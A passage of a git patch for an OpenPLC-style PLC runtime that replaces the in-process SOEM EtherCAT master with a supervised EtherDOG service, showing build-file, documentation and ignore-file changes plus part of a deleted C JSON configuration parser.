From 92c87676a7bcb8ca68927f71bac49a129eefa84f Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 07:39:06 -0400 Subject: [PATCH 01/22] feat(ethercat): run the EtherCAT master as EtherDOG, a supervised process The SOEM plugin that ran inside plc_main is replaced by a thin client. The master itself is EtherDOG, started and restarted by the webserver and driven over its documented control socket and per-cycle datagrams. - ethercat plugin: joins EtherDOG's layout with ethercat_iomapping.json, relays one frame each way per bus cycle (journal for %I, image_lock for %Q) and reconnects on its own if EtherDOG restarts - webserver: etherdog_manager.py (spawn, supervise, token, session file, busconfig delivery), discovery routes talk to EtherDOG directly, and an upload carrying the old single ethercat.json is rejected - install.sh builds EtherDOG into build/etherdog; the SOEM submodule and the in-process master sources are gone Refs: RTOP-296 Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- .dockerignore | 4 + .gitignore | 4 + .gitmodules | 3 - CLAUDE.md | 5 + README.md | 2 +- .../plugins/native/ethercat/CMakeLists.txt | 199 +- .../plugins/native/ethercat/ethercat_config.c | 1051 -------- .../plugins/native/ethercat/ethercat_config.h | 751 ------ .../native/ethercat/ethercat_config.json | 797 ------ .../native/ethercat/ethercat_iface_state.c | 395 --- .../native/ethercat/ethercat_iface_state.h | 62 - .../plugins/native/ethercat/ethercat_io.c | 644 ----- .../plugins/native/ethercat/ethercat_io.h | 116 - .../plugins/native/ethercat/ethercat_iomap.c | 446 ++++ .../plugins/native/ethercat/ethercat_iomap.h | 111 + .../plugins/native/ethercat/ethercat_master.c | 1088 -------- .../plugins/native/ethercat/ethercat_master.h | 205 -- .../plugins/native/ethercat/ethercat_plugin.c | 2224 ++--------------- .../plugins/native/ethercat/ethercat_plugin.h | 106 - .../plugins/native/ethercat/ethercat_proc.c | 96 - .../plugins/native/ethercat/ethercat_proc.h | 49 - .../plugins/native/ethercat/etherdog_link.c | 403 +++ .../plugins/native/ethercat/etherdog_link.h | 85 + .../drivers/plugins/native/ethercat/libs/soem | 1 - docs/ETHERCAT.md | 71 + install.sh | 46 +- plugins_default.conf | 2 +- project.yml | 12 - .../pytest/discovery/test_etherdog_manager.py | 134 + tests/test_ethercat_config_helpers.c | 148 -- tests/test_ethercat_config_parser.c | 347 --- tests/test_ethercat_config_validator.c | 189 -- tests/test_ethercat_data_types.c | 246 -- tests/test_ethercat_iec_location.c | 4 +- tests/test_ethercat_iface_validator.c | 191 -- tests/test_ethercat_iomap.c | 237 ++ tests/test_ethercat_proc.c | 159 -- tests/test_ethercat_sdo_config.c | 280 --- webserver/app.py | 47 + webserver/discovery/discovery_routes.py | 80 +- webserver/discovery/ethercat_discovery.py | 4 +- webserver/etherdog_manager.py | 299 +++ webserver/plugin_config_model.py | 11 + 43 files changed, 2171 insertions(+), 9183 deletions(-) delete mode 100644 .gitmodules delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_config.c delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_config.h delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_config.json delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_iface_state.c delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_iface_state.h delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_io.c delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_io.h create mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_iomap.c create mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_iomap.h delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_master.c delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_master.h delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_plugin.h delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_proc.c delete mode 100644 core/src/drivers/plugins/native/ethercat/ethercat_proc.h create mode 100644 core/src/drivers/plugins/native/ethercat/etherdog_link.c create mode 100644 core/src/drivers/plugins/native/ethercat/etherdog_link.h delete mode 160000 core/src/drivers/plugins/native/ethercat/libs/soem create mode 100644 docs/ETHERCAT.md create mode 100644 tests/pytest/discovery/test_etherdog_manager.py delete mode 100644 tests/test_ethercat_config_helpers.c delete mode 100644 tests/test_ethercat_config_parser.c delete mode 100644 tests/test_ethercat_config_validator.c delete mode 100644 tests/test_ethercat_data_types.c delete mode 100644 tests/test_ethercat_iface_validator.c create mode 100644 tests/test_ethercat_iomap.c delete mode 100644 tests/test_ethercat_proc.c delete mode 100644 tests/test_ethercat_sdo_config.c create mode 100644 webserver/etherdog_manager.py diff --git a/.dockerignore b/.dockerignore index 3c4b4227..dd695943 100644 --- a/.dockerignore +++ b/.dockerignore @@ -24,3 +24,7 @@ core/src/drivers/plugins/python/modbus_slave/modbus_slave_config.json core/src/drivers/plugins/python/modbus_master/modbus_master.json core/src/drivers/plugins/python/opcua/opcua.json core/src/drivers/plugins/native/s7comm/s7comm_config.json + +# EtherDOG build trees (the source itself is copied in for the image build) +/etherdog/build*/ +/third_party/etherdog/build/ diff --git a/.gitignore b/.gitignore index aafd6a9c..370fa08b 100644 --- a/.gitignore +++ b/.gitignore @@ -40,3 +40,7 @@ core/src/drivers/plugins/native/ethercat/libs/soem/cmake/CYGWIN.cmake *.o *.so .DS_Store + +# EtherDOG (EtherCAT master service) source, fetched or copied in by install.sh +/etherdog/ +/third_party/ diff --git a/.gitmodules b/.gitmodules deleted file mode 100644 index 534bf52a..00000000 --- a/.gitmodules +++ /dev/null @@ -1,3 +0,0 @@ -[submodule "core/src/drivers/plugins/native/ethercat/libs/soem"] - path = core/src/drivers/plugins/native/ethercat/libs/soem - url = https://github.com/OpenEtherCATsociety/SOEM.git diff --git a/CLAUDE.md b/CLAUDE.md index ba29e319..0ea240fb 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -75,6 +75,11 @@ State management: `core/src/plc_app/plc_state_manager.cpp` - **Driver code**: `core/src/drivers/` - **Plugin examples**: `core/src/drivers/plugins/python/` and `core/src/drivers/plugins/native/` +### EtherCAT +- **Master**: EtherDOG, a separate process (`build/etherdog`) supervised by `webserver/etherdog_manager.py` +- **Client plugin**: `core/src/drivers/plugins/native/ethercat/` joins EtherDOG's layout with `ethercat_iomapping.json` +- Details: `docs/ETHERCAT.md` + ### Key Subsystems - **Scan cycle manager**: `core/src/plc_app/scan_cycle_manager.c` - deterministic timing - **Debug handler**: `core/src/plc_app/debug_handler.c` - WebSocket debug protocol diff --git a/README.md b/README.md index 5aeb6001..8cd6a21f 100644 --- a/README.md +++ b/README.md @@ -287,7 +287,7 @@ The installation script will: 3. Create Python virtual environment at `venvs/runtime/` 4. Install Python dependencies 5. Compile the PLC runtime core with CMake -6. Build native plugins (e.g., EtherCAT, S7comm) +6. Build native plugins (e.g., EtherCAT client, S7comm) and EtherDOG, the EtherCAT master service 7. Install and start a systemd service (`openplc-runtime`) when systemd is available ### Manual Build diff --git a/core/src/drivers/plugins/native/ethercat/CMakeLists.txt b/core/src/drivers/plugins/native/ethercat/CMakeLists.txt index 5126f2b2..9307052e 100644 --- a/core/src/drivers/plugins/native/ethercat/CMakeLists.txt +++ b/core/src/drivers/plugins/native/ethercat/CMakeLists.txt @@ -1,5 +1,7 @@ -# CMakeLists.txt for EtherCAT Plugin -# Builds a self-contained EtherCAT plugin with SOEM library included +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® +# +# EtherCAT client plugin: relays process data between EtherDOG and the image tables. cmake_minimum_required(VERSION 3.10) project(ethercat_plugin C) @@ -8,166 +10,18 @@ set(CMAKE_C_STANDARD 11) set(CMAKE_C_STANDARD_REQUIRED ON) set(CMAKE_POSITION_INDEPENDENT_CODE ON) -# Determine OpenPLC root directory for finding common headers -# When building standalone: calculate from plugin location -# When building from main project: pass -DOPENPLC_ROOT= if(NOT DEFINED OPENPLC_ROOT) get_filename_component(OPENPLC_ROOT "${CMAKE_CURRENT_SOURCE_DIR}/../../../../../../" ABSOLUTE) endif() -message(STATUS "EtherCAT Plugin - OpenPLC root: ${OPENPLC_ROOT}") - -# ============================================================================= -# SOEM Library (built via add_subdirectory for proper ec_options.h generation) -# ============================================================================= - -set(SOEM_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libs/soem) -set(SOEM_BUILD_SAMPLES OFF CACHE BOOL "Disable SOEM samples" FORCE) - -# On MSYS2/Cygwin, SOEM ships no platform cmake file (only Linux.cmake, -# Windows.cmake, rt-kernel.cmake exist). Generate one from the Win32 -# variant because MSYS2 can use Win32 OSAL/OSHW through w32api headers -# while the Linux OSHW needs AF_PACKET raw sockets which are unavailable. -if(CMAKE_SYSTEM_NAME STREQUAL "MSYS" OR CMAKE_SYSTEM_NAME STREQUAL "CYGWIN") - set(_SOEM_PLATFORM_CMAKE "${SOEM_DIR}/cmake/${CMAKE_SYSTEM_NAME}.cmake") - message(STATUS "EtherCAT Plugin - Generating ${CMAKE_SYSTEM_NAME}.cmake for SOEM (Win32 OSAL/OSHW via w32api)") - file(WRITE "${_SOEM_PLATFORM_CMAKE}" "\ -# Auto-generated for ${CMAKE_SYSTEM_NAME} -- based on Windows.cmake\n\ -# Uses Win32 OSAL/OSHW accessible through w32api on MSYS2/Cygwin.\n\ -\n\ -target_sources(soem PRIVATE\n\ - osal/win32/osal.c\n\ - osal/win32/osal_defs.h\n\ - oshw/win32/oshw.c\n\ - oshw/win32/oshw.h\n\ - oshw/win32/nicdrv.c\n\ - oshw/win32/nicdrv.h\n\ -)\n\ -\n\ -target_include_directories(soem PUBLIC\n\ - $\n\ - $\n\ - $\n\ - $\n\ -)\n\ -\n\ -target_compile_options(soem PUBLIC\n\ - $<$:-std=c11>\n\ -)\n\ -\n\ -# WIN32 is NOT predefined by MSYS2/Cygwin GCC, but the bundled\n\ -# wpcap headers (pcap/pcap.h:40) need it to route to pcap-stdinc.h.\n\ -# HAVE_U_INT*_T tells bundled bittypes.h to skip its typedefs --\n\ -# MSYS2 POSIX headers (sys/types.h) already provide these types and\n\ -# use different underlying types on LP64 (long vs long long for 64-bit).\n\ -#\n\ -# __USE_W32_SOCKETS tells MSYS2 / Cygwin's POSIX headers\n\ -# (\`sys/select.h\`, \`sys/unistd.h\`) NOT to declare their own \`select\`\n\ -# and \`gethostname\` — the Win32 \`winsock2.h\` declarations (which the\n\ -# bundled wpcap headers pull in transitively) are the ones we want\n\ -# to use. Without this, any TU that includes both a POSIX header\n\ -# (e.g. \`\` in ethercat_plugin.c, which transitively pulls\n\ -# in sys/select.h) AND a SOEM/wpcap header (which pulls in\n\ -# winsock2.h) gets a redeclaration error because the two libcs\n\ -# disagree on the signature ( \`struct timeval *\` vs \`const TIMEVAL *\`,\n\ -# \`size_t\` vs \`int\`). Marking the macro PUBLIC propagates it to\n\ -# every target linking against soem (notably ethercat_plugin).\n\ -target_compile_definitions(soem PUBLIC\n\ - WIN32\n\ - __USE_W32_SOCKETS\n\ - HAVE_U_INT8_T\n\ - HAVE_U_INT16_T\n\ - HAVE_U_INT32_T\n\ - HAVE_U_INT64_T\n\ - # pcap-stdinc.h redefines snprintf to _snprintf when _MSC_VER is\n\ - # undefined (preprocessor treats it as 0, so 0 < 1500 is true).\n\ - # Map _snprintf back to snprintf so MinGW GCC resolves the call.\n\ - _snprintf=snprintf\n\ - _vsnprintf=vsnprintf\n\ -)\n\ -\n\ -foreach(target IN ITEMS\n\ - soem\n\ - ec_sample\n\ - eepromtool\n\ - eni_test\n\ - eoe_test\n\ - firm_update\n\ - simple_ng\n\ - slaveinfo)\n\ - if (TARGET \${target})\n\ - target_compile_options(\${target} PRIVATE\n\ - $<$:\n\ - -Wall\n\ - -Wextra\n\ - -Wno-unused-parameter\n\ - >\n\ - )\n\ - endif()\n\ -endforeach()\n\ -\n\ -if(CMAKE_SIZEOF_VOID_P EQUAL 8)\n\ - set(WPCAP_LIB_PATH \${SOEM_SOURCE_DIR}/oshw/win32/wpcap/Lib/x64)\n\ - target_link_libraries(soem PUBLIC\n\ - \${WPCAP_LIB_PATH}/wpcap.lib\n\ - \${WPCAP_LIB_PATH}/Packet.lib\n\ - )\n\ -elseif(CMAKE_SIZEOF_VOID_P EQUAL 4)\n\ - set(WPCAP_LIB_PATH \${SOEM_SOURCE_DIR}/oshw/win32/wpcap/Lib)\n\ - target_link_libraries(soem PUBLIC\n\ - \${WPCAP_LIB_PATH}/libwpcap.a\n\ - \${WPCAP_LIB_PATH}/libpacket.a\n\ - )\n\ -endif()\n\ -\n\ -target_link_libraries(soem PUBLIC ws2_32 winmm)\n\ -\n\ -install(FILES\n\ - osal/win32/osal_defs.h\n\ - oshw/win32/nicdrv.h\n\ - DESTINATION include/soem\n\ -)\n\ -") - unset(_SOEM_PLATFORM_CMAKE) -endif() - -add_subdirectory(${SOEM_DIR} ${CMAKE_CURRENT_BINARY_DIR}/soem) - -# ============================================================================= -# cJSON Library (shared utility for all native plugins) -# ============================================================================= - -set(CJSON_SOURCES - ${OPENPLC_ROOT}/core/src/drivers/plugins/native/cjson/cJSON.c -) - -# ============================================================================= -# Plugin Source Files -# ============================================================================= - -set(PLUGIN_SOURCES +add_library(ethercat_plugin SHARED ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_plugin.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_config.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_master.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_io.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_proc.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_iface_state.c + ${CMAKE_CURRENT_SOURCE_DIR}/etherdog_link.c + ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_iomap.c + ${OPENPLC_ROOT}/core/src/drivers/plugins/native/cjson/cJSON.c ${OPENPLC_ROOT}/core/src/drivers/plugins/native/plugin_logger.c ) -# ============================================================================= -# Create Shared Library -# ============================================================================= - -add_library(ethercat_plugin SHARED - ${CJSON_SOURCES} - ${PLUGIN_SOURCES} -) - -# ============================================================================= -# Include Directories -# ============================================================================= - target_include_directories(ethercat_plugin PRIVATE ${CMAKE_CURRENT_SOURCE_DIR} ${OPENPLC_ROOT}/core/src/drivers/plugins/native/cjson @@ -176,52 +30,23 @@ target_include_directories(ethercat_plugin PRIVATE ${OPENPLC_ROOT}/core/src/lib ) -# ============================================================================= -# Compiler Options -# ============================================================================= - -target_compile_options(ethercat_plugin PRIVATE - -fPIC - -Wno-unused-parameter - -Wno-sign-compare -) +target_compile_options(ethercat_plugin PRIVATE -Wall -Wextra -Wno-unused-parameter) +target_link_libraries(ethercat_plugin PRIVATE pthread) -# ============================================================================= -# Link Libraries -# ============================================================================= - -target_link_libraries(ethercat_plugin PRIVATE - soem - ${CMAKE_DL_LIBS} -) - -# On MSYS2/Cygwin, ensure plugin API symbols (init, start_loop, etc.) are -# exported from the shared library so that dlsym() can resolve them. +# MSYS2/Cygwin: export the plugin entry points so dlsym() resolves them. if(CMAKE_SYSTEM_NAME STREQUAL "MSYS" OR CMAKE_SYSTEM_NAME STREQUAL "CYGWIN") - set_target_properties(ethercat_plugin PROPERTIES - LINK_FLAGS "-Wl,--export-all-symbols" - ) + set_target_properties(ethercat_plugin PROPERTIES LINK_FLAGS "-Wl,--export-all-symbols") endif() -# ============================================================================= -# Output Settings -# ============================================================================= - set_target_properties(ethercat_plugin PROPERTIES LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/plugins PREFIX "lib" OUTPUT_NAME "ethercat_plugin" ) - -# On Linux, use .so extension if(UNIX) set_target_properties(ethercat_plugin PROPERTIES SUFFIX ".so") endif() -# ============================================================================= -# Install Target -# ============================================================================= - install(TARGETS ethercat_plugin LIBRARY DESTINATION lib/openplc/plugins RUNTIME DESTINATION lib/openplc/plugins diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_config.c b/core/src/drivers/plugins/native/ethercat/ethercat_config.c deleted file mode 100644 index 0341ec45..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_config.c +++ /dev/null @@ -1,1051 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_config.c - * @brief EtherCAT Plugin Configuration Parser Implementation - * - * Parses JSON configuration files using the cJSON library. - * The JSON format follows the contract defined by the OpenPLC Editor: - * [{ "name": "ethercat_master", "protocol": "ETHERCAT", "config": { ... } }] - */ - -#include "ethercat_config.h" -#include "cJSON.h" - -#include -#include -#include -#include -#include -#include -#include - -/* ------------------------------------------------------------------ */ -/* Diagnostic logging */ -/* ------------------------------------------------------------------ */ - -/* Shared plugin logger. Must be set via ecat_config_set_logger() in - * plugin init() before any ecat_config_parse* call. Read-only after - * setup, no concurrency. */ -static plugin_logger_t *g_config_logger = NULL; - -void ecat_config_set_logger(plugin_logger_t *logger) -{ - g_config_logger = logger; -} - -/** Linux IFNAMSIZ is 16; valid iface names are 1..15 chars. */ -#define ECAT_LINUX_IFNAME_MAX 16 - -bool ecat_iface_validate(const char *iface, ecat_iface_validate_mode_t mode) -{ - if (iface == NULL) - return false; - size_t len = strlen(iface); - if (len == 0) - return false; - - if (mode == ECAT_IFACE_LINUX_STRICT) { - if (len >= ECAT_LINUX_IFNAME_MAX) - return false; - if (!isalpha((unsigned char)iface[0])) - return false; - for (size_t i = 0; i < len; i++) { - unsigned char c = (unsigned char)iface[i]; - if (!isalnum(c) && c != '_' && c != '-') - return false; - } - return true; - } - - /* ECAT_IFACE_ANY_PLATFORM: Linux names + Windows NPF device paths */ - if (len >= ECAT_IFNAME_MAX) - return false; - for (size_t i = 0; i < len; i++) { - unsigned char c = (unsigned char)iface[i]; - if (!isalnum(c) && c != '_' && c != '-' && - c != '\\' && c != '{' && c != '}' && c != '.') - return false; - } - return true; -} - -bool ecat_is_valid_iface_name(const char *iface) -{ - return ecat_iface_validate(iface, ECAT_IFACE_LINUX_STRICT); -} - -/* - * ============================================================================= - * Helper Functions - * ============================================================================= - */ - -/** - * @brief Read entire file into a string - */ -static char *read_file(const char *path) -{ - FILE *fp = fopen(path, "rb"); - if (fp == NULL) { - return NULL; - } - - fseek(fp, 0, SEEK_END); - long size = ftell(fp); - fseek(fp, 0, SEEK_SET); - - if (size <= 0 || size > 1024 * 1024) { /* Max 1MB config file */ - fclose(fp); - return NULL; - } - - char *buffer = (char *)malloc(size + 1); - if (buffer == NULL) { - fclose(fp); - return NULL; - } - - size_t read_size = fread(buffer, 1, size, fp); - fclose(fp); - - if ((long)read_size != size) { - free(buffer); - return NULL; - } - - buffer[size] = '\0'; - return buffer; -} - -/** - * @brief Safely copy string with length limit - */ -static void safe_strcpy(char *dest, const char *src, size_t max_len) -{ - if (src == NULL) { - dest[0] = '\0'; - return; - } - strncpy(dest, src, max_len - 1); - dest[max_len - 1] = '\0'; -} - -/** - * @brief Get string value from JSON object - */ -static const char *get_string(const cJSON *obj, const char *key, const char *default_val) -{ - const cJSON *item = cJSON_GetObjectItemCaseSensitive(obj, key); - if (cJSON_IsString(item) && item->valuestring != NULL) { - return item->valuestring; - } - return default_val; -} - -/** - * @brief Get integer value from JSON object - */ -static int get_int(const cJSON *obj, const char *key, int default_val) -{ - const cJSON *item = cJSON_GetObjectItemCaseSensitive(obj, key); - if (cJSON_IsNumber(item)) { - return item->valueint; - } - return default_val; -} - -/** - * @brief Get a numeric value from a JSON field that may be a number or a string. - * - * Handles: - * - JSON numbers (cJSON_IsNumber) - * - Decimal strings ("100", "-50") - * - Hex strings ("0xFF", "0x1A") - * - Float strings ("3.14", "-1.5e2") - * - * @return The parsed value, or default_val on missing/empty/unparseable input. - */ -static double get_numeric_value(const cJSON *obj, const char *key, double default_val) -{ - const cJSON *item = cJSON_GetObjectItemCaseSensitive(obj, key); - if (item == NULL) - return default_val; - - if (cJSON_IsNumber(item)) - return item->valuedouble; - - if (cJSON_IsString(item) && item->valuestring != NULL && item->valuestring[0] != '\0') { - const char *str = item->valuestring; - char *endptr = NULL; - - /* Check for hex prefix */ - if (str[0] == '0' && (str[1] == 'x' || str[1] == 'X')) { - long long hex_val = strtoll(str, &endptr, 16); - if (endptr != str && *endptr == '\0') - return (double)hex_val; - return default_val; - } - - /* Try parsing as double (covers integers, floats, negative, scientific) */ - double dval = strtod(str, &endptr); - if (endptr != str && *endptr == '\0') - return dval; - } - - return default_val; -} - -/** - * @brief Get boolean value from JSON object - */ -static bool get_bool(const cJSON *obj, const char *key, bool default_val) -{ - const cJSON *item = cJSON_GetObjectItemCaseSensitive(obj, key); - if (cJSON_IsBool(item)) { - return cJSON_IsTrue(item); - } - return default_val; -} - -/** - * @brief Convert hex string (e.g. "0x00000002") to uint32_t - */ -static uint32_t hex_to_uint32(const char *hex_str) -{ - if (hex_str == NULL) { - return 0; - } - return (uint32_t)strtoul(hex_str, NULL, 16); -} - -/** - * @brief Case-insensitive string comparison - */ -static int strcasecmp_local(const char *a, const char *b) -{ - while (*a && *b) { - int diff = tolower((unsigned char)*a) - tolower((unsigned char)*b); - if (diff != 0) - return diff; - a++; - b++; - } - return tolower((unsigned char)*a) - tolower((unsigned char)*b); -} - -ecat_data_type_t ecat_parse_data_type(const char *str) -{ - if (str == NULL || str[0] == '\0') - return ECAT_DTYPE_UNKNOWN; - - /* Boolean */ - if (strcasecmp_local(str, "BOOL") == 0) - return ECAT_DTYPE_BOOL; - - /* 8-bit integer */ - if (strcasecmp_local(str, "INT8") == 0 || strcasecmp_local(str, "SINT") == 0) - return ECAT_DTYPE_INT8; - if (strcasecmp_local(str, "UINT8") == 0 || strcasecmp_local(str, "USINT") == 0 || - strcasecmp_local(str, "BYTE") == 0) - return ECAT_DTYPE_UINT8; - - /* 16-bit integer */ - if (strcasecmp_local(str, "INT16") == 0 || strcasecmp_local(str, "INT") == 0) - return ECAT_DTYPE_INT16; - if (strcasecmp_local(str, "UINT16") == 0 || strcasecmp_local(str, "UINT") == 0 || - strcasecmp_local(str, "WORD") == 0) - return ECAT_DTYPE_UINT16; - - /* 32-bit integer */ - if (strcasecmp_local(str, "INT32") == 0 || strcasecmp_local(str, "DINT") == 0) - return ECAT_DTYPE_INT32; - if (strcasecmp_local(str, "UINT32") == 0 || strcasecmp_local(str, "UDINT") == 0 || - strcasecmp_local(str, "DWORD") == 0) - return ECAT_DTYPE_UINT32; - - /* 64-bit integer */ - if (strcasecmp_local(str, "INT64") == 0 || strcasecmp_local(str, "LINT") == 0) - return ECAT_DTYPE_INT64; - if (strcasecmp_local(str, "UINT64") == 0 || strcasecmp_local(str, "ULINT") == 0 || - strcasecmp_local(str, "LWORD") == 0) - return ECAT_DTYPE_UINT64; - - /* 32-bit float (REAL) */ - if (strcasecmp_local(str, "REAL") == 0 || strcasecmp_local(str, "REAL32") == 0 || - strcasecmp_local(str, "FLOAT") == 0) - return ECAT_DTYPE_REAL32; - - /* 64-bit float (LREAL) */ - if (strcasecmp_local(str, "LREAL") == 0 || strcasecmp_local(str, "REAL64") == 0 || - strcasecmp_local(str, "DOUBLE") == 0) - return ECAT_DTYPE_REAL64; - - /* Padding */ - if (strcasecmp_local(str, "PAD") == 0) - return ECAT_DTYPE_PAD; - - return ECAT_DTYPE_UNKNOWN; -} - -/* - * ============================================================================= - * Section Parsers - * ============================================================================= - */ - -/** - * @brief Parse master configuration from JSON - */ -static void parse_master_section(const cJSON *master, ecat_master_config_t *config) -{ - /* Defaults applied even when the "master" object is absent. */ - config->safe_close = true; - - if (master == NULL) { - return; - } - - safe_strcpy(config->interface, get_string(master, "interface", "eth0"), sizeof(config->interface)); - config->cycle_time_us = get_int(master, "cycle_time_us", 1000); - config->receive_timeout_us = get_int(master, "receive_timeout_us", 2000); - config->watchdog_timeout_cycles = get_int(master, "watchdog_timeout_cycles", 3); - safe_strcpy(config->log_level, get_string(master, "log_level", "info"), sizeof(config->log_level)); - config->task_priority = get_int(master, "task_priority", 90); - config->safe_close = get_bool(master, "safe_close", true); -} - -/** - * @brief Parse diagnostics configuration from JSON - */ -static void parse_diagnostics_section(const cJSON *diag, ecat_diagnostics_config_t *config) -{ - if (diag == NULL) { - return; - } - - config->log_connections = get_bool(diag, "log_connections", true); - config->log_data_access = get_bool(diag, "log_data_access", false); - config->log_errors = get_bool(diag, "log_errors", true); - config->max_log_entries = get_int(diag, "max_log_entries", 10000); - config->status_update_interval_ms = get_int(diag, "status_update_interval_ms", 500); -} - -/** - * @brief Parse a single PDO entry from JSON - */ -static int parse_pdo_entry(const cJSON *entry_json, ecat_pdo_entry_t *entry) -{ - if (entry_json == NULL || entry == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - safe_strcpy(entry->index, get_string(entry_json, "index", "0x0000"), sizeof(entry->index)); - entry->subindex = (uint8_t)get_int(entry_json, "subindex", 0); - entry->bit_length = (uint8_t)get_int(entry_json, "bit_length", 0); - safe_strcpy(entry->name, get_string(entry_json, "name", ""), sizeof(entry->name)); - entry->parsed_type = ecat_parse_data_type(get_string(entry_json, "data_type", "")); - - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse a single PDO from JSON - */ -static int parse_pdo(const cJSON *pdo_json, ecat_pdo_t *pdo) -{ - if (pdo_json == NULL || pdo == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - safe_strcpy(pdo->index, get_string(pdo_json, "index", "0x0000"), sizeof(pdo->index)); - safe_strcpy(pdo->name, get_string(pdo_json, "name", ""), sizeof(pdo->name)); - - pdo->entry_count = 0; - const cJSON *entries = cJSON_GetObjectItemCaseSensitive(pdo_json, "entries"); - if (entries != NULL && cJSON_IsArray(entries)) { - const cJSON *entry_json; - cJSON_ArrayForEach(entry_json, entries) { - if (pdo->entry_count >= ECAT_MAX_PDO_ENTRIES) { - break; - } - if (parse_pdo_entry(entry_json, &pdo->entries[pdo->entry_count]) == ECAT_CONFIG_OK) { - pdo->entry_count++; - } - } - } - - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse an array of PDOs (rx_pdos or tx_pdos) from JSON - */ -static int parse_pdo_array(const cJSON *pdo_array, ecat_pdo_t *pdos, int *pdo_count) -{ - *pdo_count = 0; - - if (pdo_array == NULL || !cJSON_IsArray(pdo_array)) { - return ECAT_CONFIG_OK; - } - - const cJSON *pdo_json; - cJSON_ArrayForEach(pdo_json, pdo_array) { - if (*pdo_count >= ECAT_MAX_PDOS) { - break; - } - if (parse_pdo(pdo_json, &pdos[*pdo_count]) == ECAT_CONFIG_OK) { - (*pdo_count)++; - } - } - - return ECAT_CONFIG_OK; -} - -/** - * @brief Check whether a JSON-derived double value fits the wire type. - * - * Catches NaN/Inf and out-of-range values that would silently wrap or - * trigger UB during the cast in ecat_master_write_sdos. For INT64/UINT64 - * the bound is the largest magnitude that double can represent; values - * above that lose precision before reaching the parser, so the check is - * grosso modo by design. - */ -static bool sdo_value_in_range(ecat_data_type_t dt, double v) -{ - if (isnan(v) || isinf(v)) - return false; - switch (dt) { - case ECAT_DTYPE_BOOL: return v == 0.0 || v == 1.0; - case ECAT_DTYPE_INT8: return v >= INT8_MIN && v <= INT8_MAX; - case ECAT_DTYPE_UINT8: return v >= 0 && v <= UINT8_MAX; - case ECAT_DTYPE_INT16: return v >= INT16_MIN && v <= INT16_MAX; - case ECAT_DTYPE_UINT16: return v >= 0 && v <= UINT16_MAX; - case ECAT_DTYPE_INT32: return v >= INT32_MIN && v <= INT32_MAX; - case ECAT_DTYPE_UINT32: return v >= 0 && v <= UINT32_MAX; - case ECAT_DTYPE_INT64: return v >= -9.223372036854776e18 && v <= 9.223372036854776e18; - case ECAT_DTYPE_UINT64: return v >= 0 && v <= 1.844674407370955e19; - case ECAT_DTYPE_REAL32: return v >= -FLT_MAX && v <= FLT_MAX; - case ECAT_DTYPE_REAL64: return true; - case ECAT_DTYPE_UNKNOWN: - case ECAT_DTYPE_PAD: return false; - } - return false; -} - -/** - * @brief Parse a single SDO configuration from JSON. - * - * Strict: malformed entries are rejected with a contextual error message - * (index, subindex, type) so the operator can locate the bad SDO without - * grepping warnings during bus open. - * - * @return ECAT_CONFIG_OK on success, error code otherwise. - */ -static int parse_sdo(const cJSON *sdo_json, ecat_sdo_config_t *sdo) -{ - if (sdo_json == NULL || sdo == NULL) - return ECAT_CONFIG_ERR_INVALID; - - /* index: required, accepts hex (0x...) or decimal via base 0; range 0x0001..0xFFFF */ - const char *idx_str = get_string(sdo_json, "index", NULL); - if (idx_str == NULL || idx_str[0] == '\0') { - plugin_logger_error(g_config_logger, "SDO entry missing 'index'"); - return ECAT_CONFIG_ERR_MISSING; - } - char *endptr = NULL; - unsigned long idx = strtoul(idx_str, &endptr, 0); - if (endptr == idx_str || *endptr != '\0' || idx == 0 || idx > 0xFFFF) { - plugin_logger_error(g_config_logger, - "SDO 'index' invalid: '%s' (expected hex 0x0001..0xFFFF or decimal 1..65535)", - idx_str); - return ECAT_CONFIG_ERR_INVALID; - } - snprintf(sdo->index, sizeof(sdo->index), "0x%04lX", idx); - - /* subindex: optional, default 0 (single-entry SDOs). When present must be 0..255 */ - const cJSON *si = cJSON_GetObjectItemCaseSensitive(sdo_json, "subindex"); - if (si == NULL) { - sdo->subindex = 0; - } else if (cJSON_IsNumber(si) && si->valueint >= 0 && si->valueint <= 255) { - sdo->subindex = (uint8_t)si->valueint; - } else { - plugin_logger_error(g_config_logger, - "SDO %s 'subindex' invalid (must be number 0..255)", sdo->index); - return ECAT_CONFIG_ERR_INVALID; - } - - /* data_type: required, must resolve to a known type (UNKNOWN/PAD reject) */ - const char *dtype_str = get_string(sdo_json, "data_type", ""); - sdo->parsed_type = ecat_parse_data_type(dtype_str); - if (sdo->parsed_type == ECAT_DTYPE_UNKNOWN || sdo->parsed_type == ECAT_DTYPE_PAD) { - plugin_logger_error(g_config_logger, - 